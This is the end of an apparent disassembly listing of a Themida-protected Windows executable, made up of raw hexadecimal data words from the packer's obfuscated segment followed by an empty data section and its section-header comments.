dd 15820F53h, 0E9000000h, 10h, 0B85D627h, 0A449C6EDh, 0AAE07272h
dd 82C72541h, 81BB6658h, 0FA8B66C9h, 4416BB66h, 9860Fh
dd 8B0F0000h, 3, 0B0F78B66h, 0DE91Eh, 0E3FB0000h, 8A3CC90Fh
dd 6F0A0351h, 8BF0ECB3h, 3890FF8h, 66000000h, 820FD88Bh
dd 13h, 0EE9h, 0A3DD5400h, 0AD353130h, 0A7A9168h, 0FB6D970h
dd 8B66FEBFh, 9E9D0h, 3C110000h, 8C41B332h, 0F416323h
dd 6660D3B7h, 562D881h, 0FE8h, 42B73600h, 66E4C4A6h, 57C7203Fh
dd 40701B40h, 11E9h, 78755B00h, 0ED65AC4Fh, 7BB4A270h
dd 2D0B45E9h, 61588E3Ch, 0B5DFB70Fh, 0CE94Bh, 8F7D0000h
dd 0D8F31470h, 1EC58010h, 80608FD2h, 8166E9ECh, 6120DFD2h
dd 0EBADE981h, 39BE41BFh, 8B03E082h, 0F0B70FF0h, 0F8F1B70Fh
dd 8B6640B4h, 8D0FCAh, 81000000h, 19B0ECDBh, 56F96058h
dd 11E9615Fh, 0BA000000h, 64D33BBEh, 0A82460D5h, 7D43AB19h
dd 0AD9490A3h, 0E6DA8166h, 66CF8B15h, 0EE9C38Bh, 58000000h
dd 2F90A4B7h, 0E8988340h, 90EF3AA5h, 0F081FCC0h, 4BDACEBFh
dd 80F18B66h, 5E9EAE0h, 1000000h, 2FC7E8AAh, 81CFBF0Fh
dd 708A0FDBh, 7EEE8120h, 8B61B2AEh, 68D0FD9h, 60000000h
dd 0CA8B6160h, 92E28161h, 0E96611D2h, 5, 0C62D85A8h, 0D780F989h
dd 0D681667Ch, 0EBB354A3h, 9E9h, 7802C600h, 8174F882h
dd 8B66F8F0h, 71DF80CAh, 5800Fh, 81660000h, 51FBAACBh
dd 8B5AFE8Bh, 0C88166FEh, 0EF8AC0CDh, 1FDCBE66h, 58E0Fh
dd 81660000h, 0BFD5F5C0h, 121E5A8Ah, 0FD8B70Fh, 1585h
dd 10E900h, 43010000h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah
dd 0C88BAF6Bh, 0FE9h, 3056E900h, 5F6A22Ah, 61DE4F3Ah, 3BE57345h
dd 13E8h, 0E6DB1800h, 0FB4AFF6Ah, 8693F545h, 0B586B97Fh
dd 470ACB2Eh, 0BE95Fh, 0FDC0000h, 0A22C7748h, 84ED3198h
dd 77C68102h, 660C632Ch, 0CB70EE81h, 0C2D08166h, 10E957h
dd 0A8460000h, 0A698615Bh, 5BC4BBF2h, 0A531400Dh, 0F608CB9h
dd 682h, 8C0F00h, 0F000000h, 289h, 61D38B00h, 8152DE8Bh
dd 972D89D2h, 13E95B5Eh, 33000000h, 72A8573Fh, 190164Eh
dd 2FC7E8AAh, 649A5791h, 0E8FC2B32h, 0Ch, 0E528C2A3h, 53441502h
dd 72FDAE0Eh, 5259CE8Ah, 0CEBF0F5Bh, 68F0Fh, 0DA810000h
dd 2B56B392h, 0CEB70FF5h, 820F5656h, 0
dd 0D0815959h, 69C8B26h, 65DB8166h, 85F6802Eh, 0AE8h, 40E0A800h
dd 71522E0Ah, 0B6E1970Fh, 0BE66583Dh, 0C1808D8Eh, 48A0F0Eh
dd 66000000h, 0B600B5B8h, 0F9F08ABDh, 0FCF18B66h, 0CE960h
dd 354F0000h, 0EDA56DDBh, 0B6504DB0h, 0B4B783FCh, 0AE961h
dd 0CB1A0000h, 8F920FC6h, 694095DFh, 14E9B6B2h, 0C5000000h
dd 0E7AA5693h, 7B7A9895h, 6BEEAF67h, 58BF30F1h, 6099CF0Dh
dd 61C88BFCh, 597FBF66h, 40B9F781h, 6E85640h, 35000000h
dd 66A0362Dh, 12E923h, 40990000h, 0FEC604Dh, 6EA7ECD8h
dd 0F33C607Dh, 49D38E80h, 5E8F558h, 0B7000000h, 717CC5Ch
dd 36D7F0B9h, 0EE95967h, 0C4000000h, 11166131h, 219D75EEh
dd 0B95670E1h, 0D08B661Fh, 8BF9CB8Ah, 0F98B66F7h, 830Fh
dd 81660000h, 0F914CDD8h, 7E8h, 65456B00h, 0C9D8A2ECh
dd 0FE95FF5h, 94000000h, 698A042Fh, 0D2A33744h, 9FF87342h
dd 66F96FEFh, 0F08BC68Bh, 0BE9h, 5A40A00h, 3B95B0h, 977D0F37h
dd 62AF12BEh, 0D88B6654h, 0BE8FCh, 0DF6A0000h, 0A31E6446h
dd 3B352F2Bh, 0E1D281E0h, 586FC129h, 16BB9EB6h, 66103880h
dd 0E909C5BBh, 0Ah, 4D44CF62h, 477B9A1Ch, 8F0F4BDAh, 6
dd 5B92C781h, 0BA660C12h, 8B605218h, 14E281CFh, 615875FEh
dd 0EE8h, 5BAA1200h, 333754FBh, 30AC0C66h, 0B132D0A0h
dd 8F0F5F78h, 3, 0E8E4E980h, 13h, 91BDB643h, 0BF607675h
dd 90123F88h, 0B65A61CDh, 0E90C0CC6h, 12h, 0FF3F4B58h
dd 4BE69A09h, 0E0707B7Dh, 0C04B6BB8h, 0B05F2BD1h, 5E982h
dd 4FAE0000h, 0E8B03582h, 12h, 0E43EBAECh, 32B6EE40h, 0D6419D55h
dd 5323BCEFh, 0F50FDFFh, 5A5EC2BFh, 7A91BE66h, 0B551EE81h
dd 0BF0F43E1h, 6018B1DFh, 8E9h, 0D38E8000h, 475F0F49h
dd 0BC7761CEh, 252h dup(0BC76A0D3h), 47E2A0D3h, 83h dup(47E28E31h)
dd 2ADh dup(48822F7Dh), 82822F7Dh, 144h dup(82646A9Ch)
dd 67F4749Ch, 0DBh dup(67F4747Fh), 0EB86417Fh, 1E7h dup(0EB86417Bh)
dd 0F3DFDC7Bh, 9Ch dup(0F3DFDC1Ah), 0F015101Ah, 0B8h dup(0F015100Fh)
dd 0CCCCCC0Fh, 91Ch dup(0CCCCCCCCh), 0CCCCh, 894h dup(0)
db 3 dup(0)
byte_5D4D5B db 0 ; DATA XREF: ___:off_431980o
dd 14A9h dup(0)
Themida_ ends
; Section 5. (virtual address 001DA000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001DA000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5DA000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start